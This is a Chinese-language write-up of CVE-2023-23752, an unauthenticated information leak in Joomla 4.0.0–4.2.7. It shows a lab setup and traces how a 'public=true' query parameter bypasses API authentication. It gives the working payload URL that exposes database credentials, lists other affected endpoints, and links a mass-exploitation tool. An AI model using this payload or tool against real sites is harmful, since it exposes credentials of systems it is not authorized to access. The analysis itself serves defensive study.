漏洞介绍
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
漏洞范围
4.0.0 <= Joomla! <= 4.2.7
漏洞靶场
docker-compose.yml
1 | version: '3.8' |
设置语言和网站名称

设置超级用户昵称,用户名,密码和邮箱

设置数据库类型,主机名,用户名,名称等信息

点击安装,等待安装完成

漏洞原理
根目录的index.php(用户访问文章)
根目录的administrator/index.php(管理员管理)
根目录的api/index.php(开发者爱好的Rest API)
未授权的接口就是api/index.php,因此影响的只有Joomla 4.0.0~Joomla 4.2.7 (Rest API 4.x 正式开发)
通过查看源码调试分析发现是对api路径下的身份校验进行了绕过,默认在未登录的情况下访问,返回内容如下

这里仅重点分析api/index.php这个路由的问题 (index.php和administrator/index.php找不到漏洞)
使用phpstorm工具对代码进行分析
网站输入 /api/index.php 开启debug模式

api\includes\app.php#L53
index.php会来到 app.php。其中 $app主要的input成员存放所有的HTTP请求参数

libraries/src/Application/ApiApplication.php#L97-L116
在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。

libraries/src/Application/CMSApplication.php#L286-L334
doExecute中最重要的就是route和dispatch函数。
route:路由选择与鉴权
整个route函数分为两部分,路由选择和身份校验

libraries/src/Application/ApiApplication.php#L225-L309
逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息

身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现。

libraries/src/Router/ApiRouter.php#L89-L128
这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜

libraries/src/Router/ApiRouter.php#L102, L116
此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。
由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true //此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
漏洞复现
Payload:http://127.0.0.1:8080/api/index.php/v1/config/application?public=true

可获取到数据库的配置信息
其他影响API如下
1 | v1/banners |
exp使用
ThatNotEasy/CVE-2023-23752: Perform With Mass Exploiter In Joomla 4.2.8. (github.com)
1 | $ git clone https://github.com/Pari-Malam/CVE-2023-23752 |

复现成功